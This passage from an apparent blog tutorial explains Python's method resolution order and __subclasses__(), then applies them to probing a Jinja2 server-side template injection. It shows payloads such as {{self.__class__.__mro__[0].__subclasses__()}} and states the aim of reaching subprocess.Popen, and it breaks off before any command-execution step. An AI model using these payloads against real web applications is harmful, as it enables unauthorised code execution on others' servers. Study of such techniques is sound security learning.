d.info()</code></code></pre><p>Output:</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xRKT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 424w, https://substackcdn.com/image/fetch/$s_!xRKT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 848w, https://substackcdn.com/image/fetch/$s_!xRKT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 1272w, https://substackcdn.com/image/fetch/$s_!xRKT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xRKT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic" width="303" height="62" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4720a23e-e157-4a06-ae1b-4361e88d37f9.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:62,&quot;width&quot;:303,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3418,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xRKT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 424w, https://substackcdn.com/image/fetch/$s_!xRKT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 848w, https://substackcdn.com/image/fetch/$s_!xRKT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 1272w, https://substackcdn.com/image/fetch/$s_!xRKT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4720a23e-e157-4a06-ae1b-4361e88d37f9.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Class C inherits from A and B, and both A and B have the same method, python uses MRO and determines that the order to look up for the <code>info</code> method should be left to right, see above the difference in output between <code>class C(A,B)</code> and <code>class C(B,A)</code>.</p><p>Another example:</p><pre><code><code>class A:
    def info(self):
        print("A is called.")

class B:
    def info(self):
        print("B is called.")
    def only_b(self):
        print("B2 is called")

class C(B, A):
    pass

d = C()
d.only_b()</code></code></pre><p>Output:</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nbi6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 424w, https://substackcdn.com/image/fetch/$s_!nbi6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 848w, https://substackcdn.com/image/fetch/$s_!nbi6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 1272w, https://substackcdn.com/image/fetch/$s_!nbi6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nbi6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic" width="303" height="62" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:62,&quot;width&quot;:303,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3662,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nbi6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 424w, https://substackcdn.com/image/fetch/$s_!nbi6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 848w, https://substackcdn.com/image/fetch/$s_!nbi6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 1272w, https://substackcdn.com/image/fetch/$s_!nbi6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed39c21-5387-4e75-b0a0-d98fa8ad6d8f.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Python looks up the <code>only_b</code> method with MRO and found that the method exists in <code>class B</code>.</p><p>The MRO returns a tuple of classes, hence we need to use <code>[]</code> to define the position of the class.</p><h2>Python Attributes: <em><strong>__subclasses__()</strong></em></h2><p>Returns a list of subclasses of the superclass, an example if I want to find out the subclasses of superclass <em><strong>object</strong></em>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Uri_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Uri_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 424w, https://substackcdn.com/image/fetch/$s_!Uri_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 848w, https://substackcdn.com/image/fetch/$s_!Uri_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 1272w, https://substackcdn.com/image/fetch/$s_!Uri_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Uri_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic" width="1456" height="632" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/624d29a7-f099-498a-9add-f4d563cee0bc.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:632,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:434982,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Uri_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 424w, https://substackcdn.com/image/fetch/$s_!Uri_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 848w, https://substackcdn.com/image/fetch/$s_!Uri_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 1272w, https://substackcdn.com/image/fetch/$s_!Uri_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F624d29a7-f099-498a-9add-f4d563cee0bc.heic 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A list is an unordered list hence every time the class instantiates the position of the subclasses will change.</p><p>To have useful exploit we should be interested in looking up the subclass <code>subprocess.Popen</code> which spawns command as a process. Looking at the subclasses it is massive and hard to find <code>subprocess.Popen</code>.</p><p>A method is to use <em><strong>Visual Studio Code</strong></em> and copy the entire output then use <strong>CTRL + H</strong> to do <strong>find and replace</strong>, first we find <code>, </code>then replace with <strong>SHIFT + ENTER</strong> on your keyboard.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2v3b!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 424w, https://substackcdn.com/image/fetch/$s_!2v3b!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 848w, https://substackcdn.com/image/fetch/$s_!2v3b!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 1272w, https://substackcdn.com/image/fetch/$s_!2v3b!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2v3b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic" width="1273" height="102" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:102,&quot;width&quot;:1273,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12665,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2v3b!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 424w, https://substackcdn.com/image/fetch/$s_!2v3b!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 848w, https://substackcdn.com/image/fetch/$s_!2v3b!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 1272w, https://substackcdn.com/image/fetch/$s_!2v3b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebb025f-c3db-409e-8882-9d96d8b9e4d3.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Unfortunately the <strong>object</strong> class I do not see <code>subprocess</code> subclass, so suppose I want to use the class <code>type</code> and the position is the first of the list:</p><p><code>[].__class__.__mro__[1].__subclasses__()[0]("what is this type")</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HH3O!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 424w, https://substackcdn.com/image/fetch/$s_!HH3O!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 848w, https://substackcdn.com/image/fetch/$s_!HH3O!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 1272w, https://substackcdn.com/image/fetch/$s_!HH3O!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HH3O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic" width="698" height="73" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/52f42653-2510-41a4-b9e9-37428dc8750d.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:73,&quot;width&quot;:698,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:5929,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HH3O!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 424w, https://substackcdn.com/image/fetch/$s_!HH3O!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 848w, https://substackcdn.com/image/fetch/$s_!HH3O!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 1272w, https://substackcdn.com/image/fetch/$s_!HH3O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f42653-2510-41a4-b9e9-37428dc8750d.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><h2>Start exploiting!</h2><p>We shall try the simplest form of the payload, then increase it gradually, this is to understand what will or will not be evaluated.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UCFs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 424w, https://substackcdn.com/image/fetch/$s_!UCFs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 848w, https://substackcdn.com/image/fetch/$s_!UCFs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 1272w, https://substackcdn.com/image/fetch/$s_!UCFs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UCFs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic" width="564" height="111" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/95812111-cef0-44cb-b46b-8846526a44f8.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:111,&quot;width&quot;:564,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:6721,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UCFs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 424w, https://substackcdn.com/image/fetch/$s_!UCFs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 848w, https://substackcdn.com/image/fetch/$s_!UCFs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 1272w, https://substackcdn.com/image/fetch/$s_!UCFs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95812111-cef0-44cb-b46b-8846526a44f8.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>This is an indication that there is a SSTI vulnerability, but can I exploit beyond mathematical operation?</p><p><code>{{self.__class__}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2udk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 424w, https://substackcdn.com/image/fetch/$s_!2udk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 848w, https://substackcdn.com/image/fetch/$s_!2udk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 1272w, https://substackcdn.com/image/fetch/$s_!2udk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2udk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic" width="605" height="113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:113,&quot;width&quot;:605,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:10151,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2udk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 424w, https://substackcdn.com/image/fetch/$s_!2udk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 848w, https://substackcdn.com/image/fetch/$s_!2udk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 1272w, https://substackcdn.com/image/fetch/$s_!2udk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23d5ae28-8aca-4c19-8ead-f5cc70fa162c.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p><code>{{self.__class__.__mro__[0].__subclasses__()}}</code><br>So the <code>jinja2.runtime.TemplateReference</code> got no other subclasses.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ynmP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 424w, https://substackcdn.com/image/fetch/$s_!ynmP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 848w, https://substackcdn.com/image/fetch/$s_!ynmP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 1272w, https://substackcdn.com/image/fetch/$s_!ynmP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ynmP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic" width="799" height="113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/674a57ea-a242-4dd2-944f-0330de64d619.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:113,&quot;width&quot;:799,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:9354,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ynmP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 424w, 